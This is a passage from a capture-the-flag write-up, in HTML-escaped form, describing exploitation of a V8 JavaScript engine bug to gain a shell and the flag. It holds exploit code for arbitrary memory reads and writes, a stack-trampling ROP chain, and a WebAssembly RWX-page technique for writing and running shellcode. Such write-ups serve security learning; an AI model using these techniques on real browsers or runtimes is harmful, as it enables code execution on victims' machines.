    &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;[FAIL] libc is messing with me&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;    + libc_base: &amp;quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;libc_base&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;hex&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;... and thus, we could leak a stack address:&lt;/p&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;&lt;span class=&quot;kr&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;libc_environ&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;libc_base&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ENVIRON_OFFSET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kr&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;stack_leak&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;arb_read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;libc_environ&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Now, the plan was clear (or so I thought): write a ROP chain, and
trample over the stack backwards until we hit a RETsled, that jumps to
our ROP chain. Then, we&amp;#39;ve got shell, and we&amp;#39;ve got the
flag. Easy-peasy, right? Nope, so damn wrong.&lt;/p&gt;

&lt;h2&gt;Finally, shell! Or is it?&lt;/h2&gt;

&lt;p&gt;At this point, I created a ROP chain for an &lt;code&gt;execve&lt;/code&gt; shell, using
&lt;a href=&quot;https://github.com/sashs/Ropper&quot;&gt;&lt;code&gt;ropper&lt;/code&gt;&lt;/a&gt; on &lt;code&gt;d8&lt;/code&gt;. I also added code
to start trampling over the stack:&lt;/p&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;cur_pos&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;stack_leak&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;BigInt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ROPCHAIN&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ROPCHAIN&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;length&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;arb_write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;cur_pos&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;BigInt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ROPCHAIN&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;TRAMPLE_MAX&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// console.log(i);&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;cur_pos&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;arb_write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;cur_pos&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
          &lt;span class=&quot;nx&quot;&gt;RET&lt;/span&gt;
         &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;After spending tons of time in the debugger, I was finally able to
figure out that setting &lt;code&gt;TRAMPLE_MAX&lt;/code&gt; to 17 worked, and I finally got
a shell!!! While this was a local shell on my own machine, I had been
using the same binary as the server, so I thought: what could be so
different? Of course, I was accounting for differences in offsets
between server and my machine, but I couldn&amp;#39;t be more wrong.&lt;/p&gt;

&lt;p&gt;On a side note: this exploit works with relatively high
reliability. It fails once out of every 10~20 runs, but otherwise it
works brilliantly. Also, I had switched over to a manually written ROP
chain using libc. This version of the exploit can be found
&lt;a href=&quot;./exploit_local.js&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I used the &lt;a href=&quot;https://github.com/prettydiff/prettydiff/&quot;&gt;prettydiff
minifier&lt;/a&gt; to minify my
code, as the server accepted only one line, and sent it over. No
shell. Just a stack smash. Now began the many &lt;em&gt;many&lt;/em&gt; hours of pain.&lt;/p&gt;

&lt;p&gt;&lt;a name=&quot;hours-of-pain&quot;&gt;&lt;/p&gt;

&lt;h2&gt;Hours of Pain!&lt;/h2&gt;

&lt;p&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I now had a valid exploit, and I was able to get a local shell, even
with the minimized version (thus showing that minifier wasn&amp;#39;t doing
something wrong). I also had the shell work with high reliability, so
after doing a couple of dozen tests on the server, I knew that it
wasn&amp;#39;t a reliability issue. Maybe it was a difference in offsets?&lt;/p&gt;

&lt;p&gt;They had provided a &lt;code&gt;Dockerfile&lt;/code&gt; along with the challenge, and it used
&lt;code&gt;tsuro/nsjail&lt;/code&gt;. This is what I had used to obtain the &lt;code&gt;libc&lt;/code&gt; in order
to get its offsets, but I could now use this to debug why things were
failing. Unfortunately, the &lt;code&gt;Dockerfile&lt;/code&gt; cannot be used out of the
box. Instead, it requires some other correct set up. I was too tired
to figure that out, so I just simply spun up &lt;code&gt;tsuro/nsjail&lt;/code&gt;, believing
that the rest of the stuff was just fluff to prevent things from
staying up too long, and adding in proof-of-work, etc.&lt;/p&gt;

&lt;p&gt;I was able to have the exploit run stably inside the docker container,
so that felt odd. I was too sleep deprived to think all that clearly,
but soon, I realized that the server was using &lt;code&gt;worker.js&lt;/code&gt; which I was
not. I quickly added a modified &lt;code&gt;worker.js&lt;/code&gt; so that I would not need
to always paste/pipe in my exploit (basically by replacing a
&lt;code&gt;readline&lt;/code&gt; with a &lt;code&gt;read&lt;/code&gt; from file).&lt;/p&gt;

&lt;p&gt;After some tinkering around, my exploit worked! I sent it over to the
server, and nope, nothing. I tried again, and nothing.&lt;/p&gt;

&lt;p&gt;After spending a bunch more time, I realized that the &lt;code&gt;readline&lt;/code&gt; was
messing with me, and I was unable to get the shell unless I used the
&lt;code&gt;--allow-natives-syntax&lt;/code&gt; flag (which btw, I had already replaced the
&lt;code&gt;%OptimizeFunctionOnNextCall&lt;/code&gt;s with loops, in order to not require
natives), but for some reason, adding that flag made the stack
amenable to give me a shell.&lt;/p&gt;

&lt;p&gt;From this point onwards, it was pure agony, and I tried a whole bunch
of different things. These included trying to
&lt;a href=&quot;https://github.com/david942j/one_gadget&quot;&gt;one-gadget&lt;/a&gt; it, using a
JITted function, or using a random function pointer, etc. Since full
RELRO was enabled, I couldn&amp;#39;t overwrite the
GOT. &lt;a href=&quot;https://twitter.com/riczho&quot;&gt;Ricky&lt;/a&gt; provided tons of ideas at
this point, and I&amp;#39;d tried a whole bunch, but none worked out. It
didn&amp;#39;t help that the exact scenario that I was in, I could not
directly have the bug triggered inside GDB, and outside GDB, if I
triggered it and obtained a core dump, when I tried to analyze it, GDB
itself crashed and gave a core dump.&lt;/p&gt;

&lt;p&gt;I was about to give up. I didn&amp;#39;t have a flag, but I at least got a
shell locally, and that was a big win for me, personally, and I was
also extremely sleepy at this point.&lt;/p&gt;

&lt;p&gt;&lt;a name=&quot;a-new-hope&quot;&gt;&lt;/p&gt;

&lt;h2&gt;A New Hope&lt;/h2&gt;

&lt;p&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I announced my intentions of giving in to sleep on our team Slack, and
Ricky asked me to take another closer look at one of his suggestions:
looking at &lt;a href=&quot;https://en.wikipedia.org/wiki/WebAssembly&quot;&gt;WebAssembly&lt;/a&gt;
(aka Wasm). Due to the addition of Wasm support to v8 (over the past
couple of years), we can write JS code to call out to functions
written in Wasm. In order to optimize Wasm code, v8 compiles that to
native code as well. Ricky indicated that it might be possible that
this compilation might lead to the creation of an RWX page that we
might be able to use for our exploits.&lt;/p&gt;

&lt;p&gt;I had tried this out earlier, and had been unable to really use it
(i.e., I had been unable to trigger the creation of an RWX page), but
just to make sure that I had done things right, I opened up a new text
editor, and wrote down &lt;a href=&quot;./wasm.js&quot;&gt;some JS code&lt;/a&gt; to initialize and
execute some Wasm code. The only goal of introducing Wasm into our
exploit is to introduce an RWX page that we can then use.&lt;/p&gt;

&lt;p&gt;Running this and checking &lt;code&gt;vmmap&lt;/code&gt; using &lt;code&gt;peda&lt;/code&gt;, I realized that we had
introduced an RWX page (!)&lt;/p&gt;

&lt;p&gt;From this point forward, there is a &amp;quot;new&amp;quot; (or ancient) path to shell
that I can see: write shellcode to the RWX region, and then directly
execute it. I was no longer sleepy :D&lt;/p&gt;

&lt;h2&gt;Flag!&lt;/h2&gt;

&lt;p&gt;Now that I could see a new approach to getting a shell, I was
re-energized. I started to look for &amp;quot;paths&amp;quot; from known
functions/variables to the RWX page. Fortunately, I found one that
seemed stable, even on the server, and I was able to obtain a pointer
to a function that I could execute.&lt;/p&gt;

&lt;p&gt;At this point, all that remained was to actually add in some shellcode
(taken from
&lt;a href=&quot;http://shell-storm.org/shellcode/files/shellcode-806.php&quot;&gt;shell-storm&lt;/a&gt;),
and I&amp;#39;d have shell.&lt;/p&gt;

&lt;p&gt;The final exploit consisted of initializing wasm, in order to obtain
an &lt;code&gt;rwx_page_addr&lt;/code&gt; and a &lt;code&gt;wasm_func&lt;/code&gt; that when run, would execute the
core at the address obtained.&lt;/p&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;wasm_buffer&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ArrayBuffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;wasm_simple&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;kr&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;wasm_buf8&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Uint8Array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;wasm_buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;wasm_simple&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;length&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;wasm_buf8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;wasm_simple&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;rwx_page_addr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;undefined&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;wasm_importObject&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;imports&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;imported_func&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;arg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// wasm_function -&amp;gt; shared_info -&amp;gt; mapped_pointer -&amp;gt; start_of_rwx_space&lt;/span&gt;
        &lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;addr_of&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;wasm_func&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x18&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;arb_read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x91&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;arb_read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;rwx_page_addr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;    + rwx_page_addr = &amp;quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;rwx_page_addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;hex&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;stages_after_wasm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;wasm_trigger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;WebAssembly&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;instantiate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;wasm_buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;wasm_importObject&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;wasm_func&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;undefined&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;wasm_trigger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;r&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;f&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;instance&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;exports&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;exported_func&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;wasm_func&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Once we had these, it was a simple matter of throwing in, and
executing the shellcode:&lt;/p&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;stages_after_wasm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;shellcode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;length&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;rwx_page_addr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;BigInt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;arb_write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;shellcode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;wasm_func&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;And there we have it, a shell! Since this no longer relied on the
stack, it was a much more &lt;a href=&quot;./exploit.js&quot;&gt;stable exploit&lt;/a&gt;, and I was
able to run it on the server, and obtain the flag:
&lt;code&gt;35C3_this_bug_was_a_minus_zero_day&lt;/code&gt;. Quite a fitting flag, won&amp;#39;t you
say?&lt;/p&gt;

&lt;h2&gt;Concluding Remarks&lt;/h2&gt;

&lt;p&gt;This challenge was &lt;em&gt;super&lt;/em&gt; fun and interesting. I learnt a lot along
the way, even though I was frustrated at times, especially due to the
stack issues at the end. On a discussion with
&lt;a href=&quot;https://twitter.com/_tsuro/&quot;&gt;Stephen&lt;/a&gt; after I had got the flag, he
said that he too had to get around the weird stack issue, but he&amp;#39;d
done it by overwriting &lt;code&gt;free_hook&lt;/code&gt; with &lt;code&gt;system&lt;/code&gt;, and then calling
&lt;code&gt;console.log&lt;/code&gt; with &lt;code&gt;sh&lt;/code&gt;. That definitely was an awesome solution as
well, and one that I will keep in mind for the future.&lt;/p&gt;

&lt;h2&gt;Acknowledgements&lt;/h2&gt;

